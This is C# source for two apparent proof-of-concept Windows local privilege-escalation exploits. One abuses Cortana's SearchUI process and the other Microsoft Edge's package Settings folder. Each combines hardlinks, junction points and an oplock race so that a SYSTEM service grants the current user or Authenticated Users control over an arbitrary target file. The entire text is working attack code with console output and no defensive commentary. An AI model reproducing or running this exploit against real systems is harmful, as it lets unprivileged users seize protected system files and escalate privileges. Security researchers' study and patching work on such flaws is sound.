public static void Main(string[] args) { try { string appLocalData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData)); string dirPackageSettingsToMount = $@"{appLocalData}\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings"; //string tempDir = @"c:\fooDir"; string tempDir = @"c:\" + Guid.NewGuid().ToString(); if (args.Length < 1) { Console.WriteLine($"[+] You should Specify a target filename. Default is {fileToOwn}"); args = new string[1]; args[0] = fileToOwn; } else { if (!File.Exists(args[0])) { Console.WriteLine($"[+] {args[0]} not found"); return; } } if (!HasFullControl(args[0], NTAuthoritySystem)) { Console.WriteLine($@"[+] {NTAuthoritySystem} has no FULL access to {args[0]}. This exploits works only if SYSTEM has FULL control on target file"); return; } if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name)) { Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {args[0]}"); return; } if (GetCortana() == 0) { Console.WriteLine("[+] Cortana disabled"); return; } if (!IsCortanaRunning()) { Console.WriteLine($@"[+] This exploit needs that Cortana process that is running "); Console.WriteLine($@"[+] Start Cortana and run the exploit again "); Console.WriteLine($@"[+] From cmd : ""start ms-cortana:"""); return; } if (!Directory.Exists(tempDir)) { Directory.CreateDirectory(tempDir); } else { Directory.Delete(tempDir, true); Directory.CreateDirectory(tempDir); } Console.WriteLine($@"[+] Directory {tempDir} created"); string dirOwner = File.GetAccessControl(tempDir).GetOwner(typeof(NTAccount)).ToString(); string currentUserName = WindowsIdentity.GetCurrent().Name; if (!currentUserName.ToLower().Equals(dirOwner.ToLower())) { Console.WriteLine($@"[!] KO - Owner of Directory {tempDir} is {dirOwner} which is different from current user -> {currentUserName} "); return; } Console.WriteLine($@"[+] Owner of Directory {tempDir} is current user -> {dirOwner} "); bool created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn); if (!created) { Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed "); return; } Console.WriteLine($@"[+] Created HardLink from {tempDir}\foo.txt to {fileToOwn} "); // Get handle immediately upon service closing file NtFile ntFile = null; new Thread(() => { try { IntPtr cThread = GetCurrentThread(); SetThreadPriority(cThread, ThreadPriority.THREAD_PRIORITY_HIGHEST); ntFile = NtFile.Open($@"\??\c:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe", null, FileAccessRights.GenericRead | FileAccessRights.Synchronize, FileShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock | FileOpenOptions.SynchronousIoNonAlert); if (ntFile.OpenResult == FileOpenResult.Opened) { Console.WriteLine($"[+] Oplock acquired - Opened with handle: {ntFile.Handle.DangerousGetHandle()}"); } else { Console.WriteLine($"[+] Not acquired handle of : {ntFile.Name}"); return; } /*while (true) * { * try * { * Directory.Delete(dirPackageSettingsToMount, true); * } * catch (Exception ex) * { * continue; * } * JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true); * Console.WriteLine($@"[-] mountpoint created {dirPackageSettingsToMount} to {tempDir}"); * Console.WriteLine($@"[-] Closing handle and free oplock"); * ntFile.Close(); * break; * }*/ Console.WriteLine($@"[-] checkin {tempDir}\foo.txt existance "); while (true) { try { if (!File.Exists($@"{tempDir}\foo.txt")) { created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn); if (!created) { Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed "); return; } Console.WriteLine($@"[+] Created HardLink from {tempDir}\foo.txt to {fileToOwn} "); break; } continue; } catch (Exception ex) { Console.WriteLine($@"[+] ex 2 - {ex.Message} "); break; } } // Give the service some time to rewrite DACLs System.Threading.Thread.Sleep(3000); if (HasFullControl(fileToOwn, WindowsIdentity.GetCurrent().Name)) { Console.WriteLine($@"[+] Done - Exploit Succeded "); Console.WriteLine($@"[+] Now {WindowsIdentity.GetCurrent().Name} has Full Control over {fileToOwn} "); Directory.Delete(tempDir, true); } else if (HasControl(fileToOwn, authenticatedUsersGroup, FileSystemRights.Modify)) { Console.WriteLine($@"[+] Done - Exploit Succeded "); Console.WriteLine($@"[+] Now {authenticatedUsersGroup} has FileSystemRights.Modify over {fileToOwn} "); Directory.Delete(tempDir, true); } else { Console.WriteLine($@"[!] Too bad... Exploit did not work out"); Directory.Delete(tempDir, true); } Console.WriteLine($@"[...] Exiting - Take care, Padovah4ck "); } catch (Exception ex) { Console.WriteLine($@"[+] ex 0 - {ex.Message} "); return; } }).Start(); try { Thread.Sleep(1000); Console.WriteLine("[-] Cheking if oplock is acquired "); if (ntFile.OpenResult == FileOpenResult.Opened) { Console.WriteLine("[-] OK - let's go.. Killing Cortana "); //string sid = WindowsIdentity.GetCurrent().User.Value; // KillProcessBySidAndProcessName(sid, "SearchUI"); Process process = new Process(); process.StartInfo.FileName = "taskkill.exe"; process.StartInfo.Arguments = "/F /IM searchui.exe"; process.StartInfo.UseShellExecute = false; process.Start(); process.WaitForExit(); Thread.Sleep(1000); Console.WriteLine($@"[-] Trying to delete {dirPackageSettingsToMount} and create mountpoint "); try { Directory.Delete(dirPackageSettingsToMount, true); } catch (Exception ex) { Console.WriteLine($@"[+] ex 1a - {ex.Message} "); return; } JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true); Console.WriteLine($@"[-] mountpoint created {dirPackageSettingsToMount} to {tempDir}"); Console.WriteLine($@"[-] Closing handle and release oplock"); ntFile.Close(); /*Thread.Sleep(3000); * * process = new Process(); * process.StartInfo.FileName = "cmd.exe"; * process.StartInfo.Arguments = "/c start ms-cortana:"; * process.StartInfo.UseShellExecute = false; * process.Start(); * process.WaitForExit();*/ } } catch (Exception ex) { Console.WriteLine($@"[+] ex 1 - {ex.Message} "); return; } } catch (Exception ex) { Console.WriteLine("Doh.. exception occurred " + ex.Message); } }
static void Main(string[] args) { try { string appLocalData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData)); string dirPackageEdge = $@"{appLocalData}\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe"; string dirPackageSettingsToMount = $@"{appLocalData}\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings"; if (!Directory.Exists(@"c:\poc_logs")) { Directory.CreateDirectory(@"c:\poc_logs"); } if (args != null && (args.Length != 1)) { Console.WriteLine(@"Usage: program.exe [FILE_TO_OWN]"); return; } // read first input parameter -> directory to delete fileToOwn = args[0]; if (!File.Exists(fileToOwn)) { Console.WriteLine($@"{fileToOwn} does not exist!"); return; } if (!HasFullControl(fileToOwn, NTAuthoritySystem)) { Console.WriteLine($@"[+] {NTAuthoritySystem} has no FULL access to {fileToOwn}. This exploits works only if SYSTEM has FULL control on target file"); return; } if (HasFullControl(fileToOwn, WindowsIdentity.GetCurrent().Name)) { Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {fileToOwn}"); return; } // if local package directory not exists if (!Directory.Exists(dirPackageEdge)) { // start Edge , in order to create directory C:\Users\{Environment.UserName}\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe Console.WriteLine($@"[!] Directory {dirPackageEdge} does not exist!"); Console.WriteLine($@"[!] You need to launch Edge at least once , to trigger directory creation "); Console.WriteLine($@"[-] After that consider to run this program again "); Console.WriteLine($@"[-] Press any key to continue.."); Console.ReadKey(); return; } Console.WriteLine($@"[-] Starting exploit.."); // We nee to Kill all Microsoft Edge processes // In order to delete C:\Users\{Environment.UserName}\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings directory // which contains setting*dat/LOG files that are locked SYSTEM process string sid = WindowsIdentity.GetCurrent().User.Value; KillProcessBySidAndProcessName(sid, "edge"); //string tempDir = @"c:\fooDir"; string tempDir = @"c:\" + Guid.NewGuid().ToString(); if (!Directory.Exists(tempDir)) { Directory.CreateDirectory(tempDir); } Console.WriteLine($@"[+] Directory {tempDir} created"); string dirOwner = File.GetAccessControl(tempDir).GetOwner(typeof(NTAccount)).ToString(); string currentUserName = WindowsIdentity.GetCurrent().Name; if (!currentUserName.ToLower().Equals(dirOwner.ToLower())) { Console.WriteLine($@"[!] KO - Owner of Directory {tempDir} is {dirOwner} which is different from current user -> {currentUserName} "); return; } Console.WriteLine($@"[+] Owner of Directory {tempDir} is current user -> {dirOwner} "); bool created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn); if (!created) { Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed "); return; } Console.WriteLine($@"[+] Created HardLink from {tempDir}\foo.txt to {fileToOwn} "); // deleting Settings directory if (Directory.Exists(dirPackageSettingsToMount)) { Console.WriteLine($@"[-] Deleting {dirPackageSettingsToMount} directory (if exist any)"); Directory.Delete(dirPackageSettingsToMount, true); Console.WriteLine($@"[+] Done - deleted {dirPackageSettingsToMount} "); } // create junction on Settings directory // Exploit uses this junction to to fool the AppxSrv process try { Console.WriteLine($@"[-] Creating junction {dirPackageSettingsToMount} to {tempDir} "); JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true); Console.WriteLine($@"[+] Done - created junction {dirPackageSettingsToMount} to {tempDir} "); } catch (Exception ex) { Console.WriteLine($@"[!] Error ... {ex.Message}"); File.AppendAllText(fileLogName, $"[!] Error ... {ex.Message}" + Environment.NewLine); } // start Edge ; it will trigger "take own" of tmpDir to SYSTEM Console.WriteLine($@"[-] Launching edge for take own of {tempDir} "); try { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c \"start microsoft-edge:\""; //process.StartInfo.Arguments = "/c \"start bingweather:\""; process.StartInfo.UseShellExecute = false; process.ErrorDataReceived += Process_DataReceived; process.OutputDataReceived += Process_DataReceived; process.Start(); // wait 5 seconds for Edge to trigger file deletion Console.WriteLine($@"[+] Waiting some time for triggering deletion process .."); Thread.Sleep(5000); // kill edge process process.Kill(); } catch (Exception ex) { // do nothing // Tipically process exits before we try to kill it // that's why it's throwing an exception } // checking directory owner dirOwner = File.GetAccessControl(tempDir).GetOwner(typeof(NTAccount)).ToString(); if (!dirOwner.ToLower().Equals(NTAuthoritySystem.ToLower())) { Console.WriteLine($@"[!] Owner of Directory {tempDir} is different from -> {NTAuthoritySystem} "); return; } Console.WriteLine($@"[+] Now the owner of {tempDir} is {dirOwner}"); // removing ACL from tempDir // this is going to break edge when it'll start next time Console.WriteLine($@"[-] Removing acls from {tempDir} "); // SetAcl(tempDir, authenticatedUsersGroup, FileSystemRights.FullControl); // remove all acls for S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194 // Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityManager\CapAuthz\ApplicationsEx\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\PackageSid RemoveAclsFromAccount(tempDir, "S-1-15-2"); // remove all acls for currentUserName RemoveAclsFromAccount(tempDir, currentUserName); Console.WriteLine($@"[+] Done - acls removed from {tempDir} "); // REPEAT AGAIN -> 1) Kill edge process 2) delete Settings directory 3) Create a junction from Settings dir to tmpDir // kill process KillProcessBySidAndProcessName(sid, "edge"); // deleting Settings directory if (Directory.Exists(dirPackageSettingsToMount)) { Console.WriteLine($@"[-] Deleting {dirPackageSettingsToMount} directory (if exist any)"); Directory.Delete(dirPackageSettingsToMount, true); Console.WriteLine($@"[+] Done - Deleted {dirPackageSettingsToMount} "); } // Delete all files within temdir DirectoryInfo di = new DirectoryInfo(tempDir); foreach (FileInfo file in di.EnumerateFiles()) { file.Delete(); } Console.WriteLine($@"[+] Deleted all files in {tempDir} "); // create junction on Settings directory // Exploit uses this junction to to fool the AppxSrv process try { Console.WriteLine($@"[-] Creating junction {dirPackageSettingsToMount} to {tempDir} "); JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true); Console.WriteLine($@"[+] Done - Created junction {dirPackageSettingsToMount} to {tempDir} "); } catch (Exception ex) { Console.WriteLine($@"[!] Error ... {ex.Message}"); File.AppendAllText(fileLogName, $"[!] Error ... {ex.Message}" + Environment.NewLine); } created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn); if (!created) { Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed "); return; } Console.WriteLine($@"[+] Created again HardLink from {tempDir}\foo.txt to {fileToOwn} "); // start Edge ; this time it will trigger SETSECURITYFILE (set DACL) to the target file using the classic tecnique of the hardlink // at the end, if everything goes fine, the target file should have Console.WriteLine($@"[-] Launching edge for setting dacl on {fileToOwn} "); try { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c \"start microsoft-edge:\""; //process.StartInfo.Arguments = "/c \"start bingweather:\""; process.StartInfo.UseShellExecute = false; process.ErrorDataReceived += Process_DataReceived; process.OutputDataReceived += Process_DataReceived; process.Start(); // wait 5 seconds for Edge to trigger file deletion Console.WriteLine($@"[+] Waiting some time for triggering deletion process .."); Thread.Sleep(5000); // kill edge process process.Kill(); } catch (Exception ex) { // Tipically process exits before we try to kill it // that's why it's throwing an exception } if (HasControl(fileToOwn, authenticatedUsersGroup, FileSystemRights.Modify)) { Console.WriteLine($@"[+] Done - Exploit Succeded "); Console.WriteLine($@"[+] Now {authenticatedUsersGroup} has FileSystemRights.Modify over {fileToOwn} "); } else { Console.WriteLine($@"[!] Too bad... Exploit did not work out"); } Directory.Delete(tempDir, true); Console.WriteLine($@"[...] Exiting - Take care, Padovah4ck "); } catch (Exception ex) { Console.WriteLine("Doh.. exception occurred " + ex.Message); File.AppendAllText(fileLogName, "Doh.. exception occurred " + ex.Message + Environment.NewLine); } }